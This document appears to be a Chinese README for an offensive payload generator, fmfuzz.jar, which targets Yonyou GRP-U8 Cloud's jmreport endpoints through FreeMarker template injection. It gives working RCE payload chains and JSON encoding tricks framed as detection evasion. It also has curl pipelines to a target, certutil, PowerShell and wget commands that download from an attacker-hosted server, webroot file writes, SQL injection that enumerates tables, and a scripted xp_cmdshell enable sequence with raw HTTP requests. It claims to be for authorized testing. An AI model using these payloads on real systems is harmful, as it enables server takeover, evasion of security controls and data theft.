依据《GRP-U8Cloud jmreport Freemarker RCE 攻击面验证报告》P1-P12 混淆谱系(§5)与 JSON 解析特性实测结论(§6.9-§6.12)实现。Java 8 即可运行(fat jar 内嵌 freemarker-2.3.31, 与目标版本一致)。
# 1) 全部 12 变体 × out/assign 双形态(默认纯 freemarker payload, 换行默认转义为字面 \n 单行显示) + 本地渲染验证
java -jar fmfuzz.jar -c "whoami" -L 1 -v
# 2) 终极形态(P10-P12 × 全\uXXXX 转义[关键语法字符明文] + 尾随垃圾 + 2KB pad 稀释检测, 自动 JSON 包裹)
java -jar fmfuzz.jar -c "whoami" -L 3
# 3) jmreport 利用形态: 显式 -J 输出完整 JSON 请求体
java -jar fmfuzz.jar -c "whoami" -C 12 -F assign -J -j 1 -T auto -P 2048
# 4) 自定义 payload(##CMD## 占位符替换)
java -jar fmfuzz.jar -p '<#assign r=p("##CMD##")>' -c "whoami" -J -j 1 -T auto
# 5) JSON 特性组合, 输出到文件
java -jar fmfuzz.jar -c "whoami" -j 1,3,4 -T auto -P 4096 -o out.txt
# 6) paramArray→Aviator 表达式注入(独立形态, 无害验证): paramValue '=1+1' 目标端求值后替换 ${p}, sql 变 select '2' as val 回显
java -jar fmfuzz.jar --param-avi '1+1' -J -v| 形态 | 触发 | stdout 内容 | 用途 |
|---|---|---|---|
| 纯 freemarker payload(默认) | 不带任何 JSON 参数 | 模板文本本身(${...} / <#assign ...>) |
贴到其他注入点 / 二次加工 |
| jmreport JSON 请求体 | -J(或 -t/-j/-T/-P/-L 2/3 任一) |
完整 {"sql": ...} 成品 |
直接 curl POST /jmreport/queryFieldBySql |
JSON 包裹归类为 jmreport 利用形态(通过参数调用):默认输出的是 freemarker 纯 payload; 给了
-j/-T/-P而没给-J时自动启用 JSON 形态并在 stderr 提示(默认骨架模板,可-t自定义)。
- stdout:每行一个最终 payload(编码/混淆后的成品),无任何前缀/说明/空行,
可直接管道或逐行处理。多变体 = 多行,每行是独立可用的成品。纯模板形态的
真实换行(?new 拆分)默认转义为字面
\n(终端单行可读/可复制;还原:sed 's/\\n/\n/g'或printf '%b',需要直接可用形态时加--raw-nl输出真实换行)。 - stderr:元信息(变体名 / json-mode 或"形态=纯模板" / verify 结果 / AST 树 / base64 状态 / ⚠ 不可见字符提醒),逐条交错输出——每条元信息紧贴其 payload 之上(提示与对应 payload 一一对应),两条产物之间空行间隔;不污染 stdout。
# 取第一条成品直接作为 curl 请求体
JSON=$(java -jar fmfuzz.jar -c "whoami" -L 3 | head -1)
curl -s -X POST "http://TARGET/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" -d "$JSON"
# 全部变体逐条发送(纯 payload 形态需自行拼 JSON, 或直接加 -J)
java -jar fmfuzz.jar -c "whoami" -L 1 -J | while read -r JSON; do
curl -s -X POST "http://TARGET/jmreport/queryFieldBySql" \
-H "Content-Type: application/json" -d "$JSON"
donefmfuzz.jar 是 fat jar(内嵌 freemarker-2.3.31,共 1227 个类),仅需本机 Java 8+,
无需任何其他依赖,单文件拷贝到任意环境即可 java -jar fmfuzz.jar 运行
(已在隔离目录实测通过)。代码无硬编码路径。
重新构建(改代码后):
# 默认从 webapps/WEB-INF/lib 取 freemarker-2.3.31.jar,可用环境变量覆盖
FM_JAR=/path/to/freemarker-2.3.31.jar bash build.sh生成的 fmfuzz.jar 置于报告同目录(GRPU8C_webapps_v11.2411/)。
| 参数 | 说明 |
|---|---|
-c CMD |
目标命令(自动生成 P1-P12 payload 族) |
-p PAYLOAD |
自定义 payload,可含 ##CMD## 占位符(由 -c 替换) |
-f FILE |
从文件读 payload |
--pre PREFIX |
verify 时在 payload 前拼接的前缀(用于定义 p/x 等变量,仅影响验证) |
-C 1-12 |
混淆等级(对应报告 P1-P12),-1 = 全部(默认) |
-F out/assign/both |
payload 形态:${p("cmd")} 输出 / <#assign r=p("cmd")> 赋值 / 两者 |
-N none/space/builtin-space/paren-space/paren-inside/comment/newline |
?new() token 拆分变体;P10-P12 默认 newline(继承报告谱系),-N 可覆盖 |
-m 0-4 |
命令混淆:0 原样 / 1 大小写混合 / 2 加 /c 直连 / 3 + 替代空格 / 4 全组合(+ 分隔仅 cmd 内建命令有效,外部程序如 certutil/powershell 自动保留空格,见下) |
-u, --u0020-spaces |
JSON 形态下模板内空格编码为 \u0020(Jackson 解码还原为空格,外部程序命令可无明文空格;仅 JSON 形态有效,纯模板形态警告并忽略) |
--os windows/linux |
命令平台(默认 windows)。linux 下命令大小写敏感,-m 混淆仅 Windows cmd 语义,自动忽略置 0 并警告;-u/JSON 特性跨平台可用 |
--io-write PATH:CONTENT |
纯 Java IO 文件写入验证(替代 ProcessBuilder/Execute 写文件:无进程、无命令执行、无网络外带)。ObjectConstructor 实例化 java.io.FileWriter 后直接 write(String)+close() 落盘,如 --io-write 'C:/yonyou/home/test.txt:FMV-20260808';-v 本地验证渲染成功后自动校验文件内容一致;路径不可写时提示"语法OK" |
--param-avi EXPR |
paramArray→Aviator 表达式注入形态(独立,无命令):请求体带 paramArray=[{"paramName":"p","paramValue":"=EXPR"}],sql 为 select '${p}' as val——paramValue 由目标 Aviator 引擎求值后替换 ${p} 随查询回显,如 --param-avi '1+1' → select '2' as val;paramValue 不经 SqlInjectionUtil 过滤;Aviator 4.2.6 仅数学/内置函数(无反射无类方法调用),表达式须无害(详见场景 G) |
--sqlsrv-xpcmd CMD |
SQL Server xp_cmdshell 开启+执行形态(call 存储过程通道,CMD 省略默认 whoami):POST /jmreport/loadTableData,sql=call xp_cmdshell('<CMD>') 直连执行(e.f 的 call 前缀分支 → JdbcTemplate.executeProcedure,绕过全部分页包装,输出回显 records);未启用目标自动跑 6 步开启序列:sp_configure('show advanced options',1)→reconfigure→sp_configure('xp_cmdshell',1)→reconfigure→xp_cmdshell 验证;sp_configure/reconfigure 无结果集报 SQL执行失败,{}null 属预期(过程已实际执行),以最后一步输出判断(详见场景 H) |
-s, --stacked |
与 --sqlsrv-xpcmd 组合:追加堆叠变体报文(paramArray JSON 字符串形态 sql 多语句);实测目标堆叠不支持(分页 count 子查询包装 ; 非法),保留用于兼容探测 |
-J, --jmreport |
输出 jmreport 利用形态(完整 JSON 请求体);默认是纯 freemarker payload |
-t TEMPLATE |
JSON 模板(含 ##PAYLOAD## 占位符),默认报告 §6.3 标准骨架 |
-j MODE |
JSON 编码模式(逗号组合),见下 |
-T TEXT/auto |
} 后追加尾随杂散字符(Jackson 2.9 无 EOF 校验,报告 §6.12.2 N2 族) |
-P N |
} 前插入 N 字节 pad 字段(稀释 \u00XX 密度检测) |
-B, --base64 |
最终形态整体 base64 编码输出(规避一切不可见字符;目标端需先 base64 解码后再发送,服务器侧不自动解码) |
-E, --escape-nl |
纯模板形态真实换行显示为字面 \n(默认已开启;还原 sed 's/\\n/\n/g') |
--raw-nl |
关闭换行转义,输出真实换行(直接可用形态,无需还原) |
-L 0/1/2/3 |
快速等级:0 单条原样 / 1 全部变体 / 2 变体×编码(1-4) / 3 终极形态 |
-v |
本地 freemarker 渲染验证(命令自动替换为无害 echo FMV-xxxx) |
--ast |
打印 freemarker 解析树(AST,与 -v 可同用) |
-o FILE |
输出到文件(仅 stdout 的 payload 内容) |
--list |
列出全部变体说明(-list 同义) |
| 模式 | 说明 | 当前环境有效性 |
|---|---|---|
| 0 | 原样(控制字符强制 \uXXXX 标准编码,不用 \n/\t 简写) |
✅ |
| 1 | 值内全 \uXXXX 转义(P12 形态;模板语法关键字符——单引号 '、左右尖括号 < >、等号 =、空格——保持明文,双引号/反斜杠走 JSON 层转义 \" \\,其余逐字符 \uXXXX。与报告 §5.4 实测报文 select 'A' as val 形态一致) |
✅ 双引擎实测有效 |
| 2 | 部分 \u 穿插(关键语法字符同样保持明文,报告 B 行形态) |
✅ |
| 3 | key 层转义(sql) |
✅ 实测有效 |
| 4 | RFC 8259 空白注入(仅结构位置:{/:/, 后;字符串值内绝不注入) |
✅ 实测有效 |
| 5 | 多 u 复写 \uuuuXXXX |
❌ 双引擎实测均拒绝(见下注) |
| 6 | \xHH 十六进制 |
|
| 7 | 单引号 key | |
| 8 | 注释 | |
| 9 | 标准 \uXXXX 与多 u \uuuuXXXX 随机共存于同一报文 |
❌ 双引擎实测均拒绝(见下注) |
双引擎实测结论(2026-08-07,目标环境真实 jar):请求体层由 Jackson 2.9.9.3 严格解析(报告 §6.8/§6.11),
\uXXXX是唯一有效通道(mode 0-4 ✅);fastjson 1.2.83 实测只支持\xHH、单引号 key、注释(mode 6/7/8),多 u 复写(mode 5/9) 连 fastjson 也拒绝——"循环跳过连续 u"是社区说法,目标版本\u后直接取 4 字符 按 hex 解析,连续 u 报NumberFormatException(探测矩阵见 /tmp/FastProbe)。 5-9 保留用于知识输出或换解析环境;mode9 的"标准编码与多 u 共存"设计仍有效, 但目标环境的两个解析器都到不了。
纯 freemarker 形态(字符清单,全量):模板语法本身只产生可见 ASCII——指令
<#assign>、插值 ${}、字符串、注释 <#-- -->、运算符 + . ( ) ?。需注意的
不可见字符来源只有两类,均为极少量:
| 来源 | 字符 | 触发条件 |
|---|---|---|
?new( 换行拆分(报告 §5.3 X7) |
真实 \n |
P10-P12 默认(-N newline),可 -N 覆盖 |
自定义 payload(-p/-f 自带) |
任意控制字符 | 仅当用户模板里自带 |
其余如注释拆分 <#--a--><#--b-->、space 系拆分引入的都是普通空格/连字符(可见
ASCII,无告警)。纯模板形态的 \n 是模板合法内容,默认转义为字面 \n 显示
(终端单行可读/可复制,stderr 紧贴提示还原方法;需要直接可用形态加 --raw-nl);
产物之间空行间隔(stderr 侧);跨 shell 管道/粘贴时逐字节校验用
printf '%s' "$X" | od -c。
JSON 形态(主战场):值内控制字符(<0x20,含 newline 拆分注入的真实换行)
一律强制标准 \uXXXX 编码(不用 \n/\t 简写),Jackson/fastjson 解码后
还原真实换行(端到端实测解码 791=791 字符相等、渲染执行 PASS)。因此 JSON 形态
的 stdout 永远是安全单行。
-B base64:最终形态整体 base64 编码,彻底规避不可见字符(stderr 注明
目标端需先解码);发送前 echo "$X" | base64 -d 还原。
每个 JSON 成品用 目标环境真实 jar 双引擎验证,且必须走完整传输链路, 不止 freemarker AST 语法验证:
请求体(JSON 成品) → 解析器 → 取 sql → 逐字符比对 select '<原始模板>' as val
→ freemarker 2.3.31 渲染执行
- Jackson 2.9.9.3(webapps/WEB-INF/lib 真实 jar):mode 0-4 ✅ 解码==期望 (791=791 字符含真实换行还原)+ 渲染执行 PASS;mode 5/6/7/8/9 预期拒绝
- fastjson 1.2.83(同上):mode 0-4 ✅(标准 JSON 全兼容);mode 6/7/8 ✅
(
\xHH/单引号 key/注释私有特性实测生效);mode 5/9 ❌(多 u 复写双引擎均拒) - 验证器:/tmp/DualVerify.java(双引擎一键切换);多 u 边界矩阵:/tmp/FastProbe.java
-L 1 -v(纯模板 24 变体 AST+渲染)、-L 3(终极形态 Jackson 端到端)为固定回归项
cmd与/c之间的空格必须保留——cmd/cecho、cmd+会被 CreateProcess 当程序名立即失败(用户真实环境实测失败根因)/c与命令之间可直连(/cecho——cmd 开关解析只看第二字符,等价/c echo)+分隔仅 cmd 内建命令有效(echo/dir/type 等:echo+1337✓,报告 §6.4 基准 即此);外部程序(certutil/powershell 等)按整个 token 查文件会失败——cERtUtil+-UrlCaChE+-SPlit+-F+htTP://...被当程序名,命令不执行且无任何请求 (certutil 下载场景实测)。外部程序自动保留空格分隔,大小写混淆 +/c直连仍生效>前后空格删除直接连路径(重定向在 token 化前解析,无影响)
-m 混淆全部基于 Windows cmd 语义(大小写不敏感、/c 开关、+ 分隔符),
Linux 命令大小写敏感——-m 1 的随机大小写会让命令直接失败(WhOaMi 找不到)。
加 --os linux 时工具自动忽略 -m(置 0,命令原样 + 警告),Execute 链的
Runtime.exec 按空格拆词,Linux 下空格是唯一分隔符、无 shell 解释($IFS 等
不生效)。-u(空格→\u0020)与全部 JSON 特性跨平台可用(解码还原与平台无关)。
# Linux 命令执行(大小写敏感, 勿用 -m 1; --os linux 自动忽略)
java -jar fmfuzz.jar -c 'id' -C 10 --os linux -J -j 1 -u
# Linux 文件下载(wget / curl / busybox wget 均可)
java -jar fmfuzz.jar -c 'wget -O /tmp/xx http://192.168.168.168:8001/xx' -C 10 --os linux -J -j 1 -u命令均为无害验证形式(下载 xx 验证文件,符合授权测试约束)。目标注入点:
POST http://TARGET/jmreport/queryFieldBySql,请求体取 fmfuzz 生成的 JSON 成品。
# 攻击机监听(HTTP 文件服务器,提供 xx 文件)——目标下载后日志出现 GET /xx
python3 -m http.server 8001 --bind 0.0.0.0A. certutil 下载(Execute 链,-c 原生生成,推荐)
java -jar fmfuzz.jar -c 'cmd /c certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -J- certutil 是外部程序:m4 自动保留空格分隔(输出
CMd /CCerTuTIl -UrlcAcHe -splIt -f HtTP://...), 大小写混淆 +/c直连仍生效——与目标环境实测成功的形态同构 - 文件下载到目标进程当前工作目录(如
C:\yonyou\home\xx);-f强制覆盖已存在文件 - 外部程序 + JSON 时加
-u:命令空格全编码为\u0020(Jackson 解码还原,实测形态), 连明文空格也消灭:
java -jar fmfuzz.jar -c 'cmd /c certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -J -j 1 -uB. certutil 直连(Execute 链,不经 cmd)
java -jar fmfuzz.jar -c 'certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -JExecute 内部 Runtime.exec 按空格拆分命令,不带 cmd /c 也能直接执行外部程序。
C. ProcessBuilder 链(-p 自定义模板,逐词传参)
java -jar fmfuzz.jar -p '<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>${ob("java.lang.ProcessBuilder","certutil","-urlcache","-split","-f","http://192.168.168.168:8001/xx").start()}' -J -j 1 -T auto- ProcessBuilder 每个参数是独立 argv 元素(不经空格解析、不经过 cmd)——必须逐词传参, 整条命令塞进一个字符串会被当程序名直接失败
.start()启动进程,插值只回显 Process 对象(无命令输出),命令已执行,靠监听端确认- cmd 包裹写法等效:
ob("java.lang.ProcessBuilder","cmd","/c","certutil -urlcache -split -f http://...")(第三参数整串交给 cmd 解析)
D. Execute 直接模板(-p 自定义)
java -jar fmfuzz.jar -p '<#assign r="freemarker.template.utility.Execute"?new()>${r("certutil -urlcache -split -f http://192.168.168.168:8001/xx")}' -J -j 1Execute 内部 Runtime.exec 按空格拆分,空格命令直接可用;与工具 -c 默认生成的 P 系
Execute 链等价。
E. PowerShell 下载(外部程序,同样保留空格)
java -jar fmfuzz.jar -c 'cmd /c powershell -Command "Invoke-WebRequest -Uri http://192.168.168.168:8001/xx -OutFile xx"' -C 10 -m 4 -JPowerShell 的 cmdlet/参数名大小写不敏感,混淆形态(iNVOkE-wEbreQUesT -urI ...)直接可用;
命令里的双引号在 JSON 层自动转义 \",服务器端解码还原。
F. 纯 Java IO 文件写入(FileWriter 链,--io-write 预设)
# 不执行命令/不下载——模板内直接调用 Java IO 写文件(无进程、无网络外带)
java -jar fmfuzz.jar --io-write 'C:/yonyou/home/fmtest.txt:FMV-20260808' -J -j 1 -u -v- 利用链:
ObjectConstructor实例化java.io.FileWriter(String)(?new()无法传参, 但 ObjectConstructor 可以),然后直接调用write(String)+close()落盘—— 全程纯 Java 方法调用,不产生子进程、无命令执行、无网络请求,比 certutil/Execute/ProcessBuilder 形态更隐蔽(无进程行为可观测) write覆盖已存在文件;父目录不存在时构造失败(目标上需先保证目录存在,或写C:/yonyou/home/这类服务进程工作目录)-v本地验证:渲染真实执行写入(本地路径如/tmp/xx.txt时自动校验文件内容一致); Windows 路径本地不可写时提示"语法OK, 本地环境执行失败"- 模板形态(供 -p 自定义):
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()><#assign fw=ob("java.io.FileWriter","C:/yonyou/home/fmtest.txt")>${fw.write("FMV-20260808")}${fw.close()} - 目标上验证:POST payload 后检查目标文件内容 ==
FMV-20260808(type C:\yonyou\home\fmtest.txt)
F2. 相对路径写应用目录(写入 webapps → HTTP 直接验证,推荐形态)
java -jar fmfuzz.jar --io-write '..\U8System\Tomcat\webapps\r.png:RCE-TEST' -J -j 1 -u -v- GRP-U8 Cloud 服务进程工作目录在 Tomcat 下,相对路径
..\U8System\Tomcat\webapps\r.png从工作目录向上跳转落盘 webapps——写入成功后无需访问目标文件系统, 直接浏览器/curl 访问http://TARGET:8187/r.png,返回内容RCE-TEST即验证成功 (r.png 实为文本文件,扩展名仅为迷惑/落地惯例) - 输入形态 = 单反斜杠:提示/示例中的路径即用户应输入的内容——命令行单引号内
反斜杠是字面量,带引号复制执行即可,无需手写双反斜杠(双反斜杠只是模板/JSON
内部转义形态)。工具自动完成模板层
\\、JSON 层\"两层转义,FileWriter 收到的路径与输入逐字节一致 - 工具自动处理路径反斜杠:模板层转义
\\(freemarker 字面量中\U是非法转义, 转义后解析还原为\,FileWriter 收到的路径不变);JSON 层再走标准\"转义, 两层解码后与输入完全一致 -v本地验证:Windows 相对路径本地不可写,提示"语法OK, 本地环境执行失败"(语法链完整); 可用--io-write '../tmp/rel.txt:REL-OK'(正斜杠相对路径)本地实测相对路径写入链路- 路径形态总结:
C:/yonyou/home/test.txt(绝对) /..\U8System\Tomcat\webapps\r.png(相对) /r.png(当前目录)均可,write覆盖已存在文件
G. paramArray→Aviator 表达式注入(--param-avi,独立无命令形态)
# 无害验证: paramValue '=1+1' 由目标 Aviator 引擎求值后替换 ${p}, sql 变为 select '2' as val 并回显
java -jar fmfuzz.jar --param-avi '1+1' -J -v
# 内置函数形态(目标端求值): string.substring / math.pow / sysdate() 等
java -jar fmfuzz.jar --param-avi "string.substring('FMV-8888',0,4)" -J -v- 注入链(反编译确认):
POST /jmreport/queryFieldBySql的paramArray字段 →parseReportSql(sql, dbSource, paramArray, type)→util.e.a(sql, null, paramArray)→util.e.a(paramArray, sql):fastjson 解析数组,取paramName/paramValue→ paramValue 以=开头时进入desreport.express.b.a()→AviatorEvaluator.newInstance()(仅设Options.TRACE_EVAL,无安全 FeatureSet)compile(expr).execute(new HashMap())→ 结果替换 sql 中${paramName}(及'${paramName}')→ 随查询回显 - paramValue 不过滤:
SqlInjectionUtil.specialFilterContentForOnlineReport的过滤对象是 sql(parseReportSql 开头执行),paramValue 独立注入、原样进 sql——表达式与注入内容 完全避开该过滤 - Aviator 4.2.6 能力边界(目标 jar 本地实测,/tmp/AviTest* 系列):
- ✅ 数学运算
1+1/10 % 3;✅ 内置函数命名空间string.substring/length/contains/join、math.pow/round、seq.list、print;✅ jmreport 注册函数sysdate()等 - ❌ 静态方法链
java.lang.System.getProperty(...)/Math.pow(...)→ FunctionNotFound - ❌ 字符串字面量方法
'a'.toUpperCase()→ 语法错误;❌import/#import→ 语法错误/函数缺失 - ❌ 函数式实例反射
toUpperCase('x')→ FunctionNotFound(jar 内JavaMethodReflectionFunctionMissing存在但未挂载;jar 内无 Feature 枚举包 → 无 StaticMethod/NewInstance 特性) - 结论:表达式求值级注入,无任意类方法调用/反射 → 无命令执行能力;工具遵循无害约束,
仅生成数学/内置函数验证形态(
--param-avi '1+1'→ 目标回显 2)
- ✅ 数学运算
- 附加发现 1(主渲染点定位):
util.e.a(String, Map, Object)3 参版本无条件调用FreeMarkerUtils.a(sql, map)(new Template(sql).process(map),classicCompatible=true)—— 即 paramArray 有无都会触发,这就是原报告 RCE 的 freemarker 渲染点(sql 参数经specialFilterContentForOnlineReport过滤后在此渲染,P1-P12 混淆谱系绕的就是它) - 附加发现 2(SQLi 面, 目标实测确认):paramValue 任意字符串原样替换进 sql 并
真实执行(
select '${p}' as val中${p}←1' as inj --得select '1' as inj --' as val, SQL Server--注释生效)——零过滤注入通道。实测证据:- paramArray 必须传 JSON 字符串(
"paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"...\"}]"); 数组对象报expect ':' at 0,对象报syntax error, expect [ - 字段名回显(queryFieldBySql):paramValue
1' as inj --→ fieldList 列名 val→inj - 数据回显(/jmreport/loadTableData,无鉴权):paramValue
x' as val union select 'DATA-OK' as val--→ records[{"val":"x"},{"val":"DATA-OK"}] - 目标库为 SQL Server;union 两侧别名须一致(SQL Server 列名取第一个 SELECT)
- 拖库能力实测:
x' as val union select top 5 name as val from sysobjects where xtype='U'--→ 回显 FA_KP、FEM_CZRZ、GL_Dlzgsnr、HBG_TB_VER_JFB、Pub_DJLXFzx(GRP-U8 账套库业务表, 只读元数据验证,未读账务数据) - 堆叠不支持:
x' as val; select 'STACK-OK' as val--在 queryFieldBySql 报解析失败、 loadTableData 报SQL执行失败——注入 sql 被分页子查询包装,;多语句非法 - 附加发现 3(call 前缀存储过程通道 = 直接 RCE, 目标实测):loadTableData 在
paramArray 渲染后调
e.f(sql)——sql trim 后以call开头即返回{call <sql>}(JDBC CallableStatement 转义),走JdbcTemplate.execute(CallableStatementCallback)绕过全部分页 包装直接执行存储过程,结果集逐行回显 records。实测sql=call xp_cmdshell('whoami')→{"records":[{"output":"nt authority\\system"},{"output":null}]}——xp_cmdshell 已启用、 SYSTEM 权限、命令输出完整回显;call sp_who()对照成功(任意存储过程通用执行通道); 连接账号 sa(sysadmin)。无需堆叠、无需 paramArray,sql 直接写call <proc>即可。 本次仅执行只读 whoami 证明,未执行其他命令 - 本工具不生成注入形态,需自拼请求体(
-p自定义模板 + 手写 paramArray 字符串)
- paramArray 必须传 JSON 字符串(
- 工具细节:
--param-avi自动去掉默认select '##PAYLOAD##' as val包裹层(payload 本身已是 完整 sql)、注入"paramArray": [{"paramName":"p","paramValue":"=<expr>"}](JSON 层转义);-v时纯算术表达式本地求值(Nashorn,与 Aviator 数学语义一致),函数形态标记目标端求值
H. SQL Server xp_cmdshell 开启与命令执行(--sqlsrv-xpcmd,call 存储过程通道, 目标实测)
# 单条命令: 工具自动执行 6 步序列(X0 直连验证 → X1-X4 sp_configure 开启 → X5 验证执行)
# CMD 省略时默认 whoami(只读无害);目标已启用时 X0 即回显结果,序列照跑无害
java -jar fmfuzz.jar --sqlsrv-xpcmd 'whoami'
# -s/--stacked: 追加堆叠变体报文(paramArray JSON 字符串形态; 实测目标不支持堆叠, 见下)
java -jar fmfuzz.jar --sqlsrv-xpcmd 'whoami' -s- 通道原理(反编译确认):
/jmreport/loadTableData在 paramArray 渲染后调e.f(sql)—— sql trim 后以call开头(大小写不敏感)即返回{call <sql>}(JDBC CallableStatement 转义)→JdbcTemplate.execute(procedure, CallableStatementCallback)直接执行存储过程, 绕过全部分页包装,结果集逐行回显 records——任意存储过程执行 + 结果回显的通用通道 - 6 步序列(工具自动执行,逐步打印真实响应):
X0 直连执行call xp_cmdshell('CMD')—— 判断目标是否已启用(启用则直接出结果)X1 开启call sp_configure('show advanced options',1)X2 开启call reconfigure()X3 开启call sp_configure('xp_cmdshell',1)X4 开启call reconfigure()X5 验证call xp_cmdshell('CMD')—— 回显 SYSTEM 权限输出即开启成功
- 报错预期:X1-X4(sp_configure/reconfigure)请求返回
SQL执行失败,{}null属预期—— executeProcedure 回调用executeQuery()取结果集,二者无结果集必然抛异常,但 JDBC 先执行 过程再取结果集,配置变更已实际执行(RECONFIGURE 立即生效无需重启);以 X5 的输出判断 是否开启成功。开启为持久服务器配置变更,仅限授权测试环境 - 堆叠(-s):堆叠变体(paramArray 字符串形态 + sql 多语句)实测不支持——loadTableData
报错泄漏注入后 SQL 被包进分页 count 子查询(
select count(0) from ( ... ) tmp_co...), SQL Server 子查询内;多语句非法;call 通道无需堆叠,直接sql=call <proc>即可 - 实测证据(只读 whoami,符合无害约束):X0
call xp_cmdshell('whoami')→{"success":true,"code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]}};call sp_who()对照成功(连接账号 sa / sysadmin);union 查 sys.configurations 确认show advanced options=1、xp_cmdshell=1 - raw 报文(X0 直连执行;其余步骤同构替换 sql 参数即可):
POST /jmreport/loadTableData HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
dbSource=&sql=call+xp_cmdshell%28%27whoami%27%29¶mArray=%5B%5D&tableName=&pageNo=1&pageSize=10POST /jmreport/loadTableData HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
dbSource=&sql=call+sp_configure%28%27show+advanced+options%27%2C1%29¶mArray=%5B%5D&tableName=&pageNo=1&pageSize=10- 注意:请求必须带
pageNo=1&pageSize=10(loadTableData 查询路径缺分页参数 NPE 报SQL执行失败,{}null;executeProcedure 通道不受影响,工具统一携带)
发送与确认:
JSON=$(java -jar fmfuzz.jar -c '...' -C 10 -m 4 -J | head -1)→curl -s -X POST http://TARGET/jmreport/queryFieldBySql -H "Content-Type: application/json" -d "$JSON"; 下载成功后监听端出现GET /xx且返回 200,目标当前目录出现xx文件。
# 命令混淆 + ?new 拆分 + 全\u + 尾随 + 2KB pad(检测规避终极形态)
java -jar fmfuzz.jar -c "cmd /c whoami" -C 12 -F assign -m 4 -N newline -J -j 1 -T auto -P 2048
# 多模式组合逐个输出
java -jar fmfuzz.jar -c "whoami" -C 9 -J -j 1,3,4,5,6,7,8,9 -v
# 纯 freemarker payload(不包 JSON, 默认形态)
java -jar fmfuzz.jar -c "whoami" -C 9 -F out -N comment -m 1
# base64 规避不可见字符
java -jar fmfuzz.jar -c "whoami" -C 10 -B | base64 -d | od -c-v时命令自动替换为echo FMV-xxxx(无害,符合授权测试约束),本地渲染确认 语法链 + 命令执行链完整。验证引擎是内嵌的完整 freemarker-2.3.31(与目标同版本, jar 内 1227 个 freemarker 类):new Template(...)构造时执行真实 AST 解析(parse),process走 AST 求值执行 —— 语法错误在 parse 阶段即抛出(如无引号命令报Empty command)。--ast额外打印解析树:指令级节点(Assignment / DollarVariable / Comment / TextBlock) 完整展开;表达式会被解析器规范化(${11*22}显示为${11 * 22})即 AST 解析生效的证据。 注意:freemarker 2.3.31 的公开 API 只暴露指令级树,表达式内部(?new()调用链)不展开。- OK ✔ 渲染成功且命令输出命中 = 完整链路验证通过
- OK ✔ 渲染成功(无插值形态) = P11/P12 类赋值形态,命令已执行无回显,无异常即通过
- 语法OK, 本地环境执行失败(命令/写入路径仅目标服务器可用, 语法链完整) = 语法链完整,
但本地 Linux 不可执行/不可写(如
ECHo大小写混淆 /+替代空格 / ProcessBuilder 形态 / FileWriter 写入 Windows 路径——这些针对 Windows 目标设计) - FAIL ✘ = 模板语法错误;若报未定义变量 p/x,用
--pre '<#assign p="freemarker.template.utility.Execute"?new()>'提供定义
⚠️ zsh 陷阱:zsh 内置echo会把\uXXXX解码为真实字符, 用echo "$JSON"检查输出会看到"明文"——这是 shell 显示层行为,字节未变。 变量/文件中的字面\u序列经 curl-d直传服务器(无解码),验证字节请用printf '%s' "$JSON" | od -c或 python。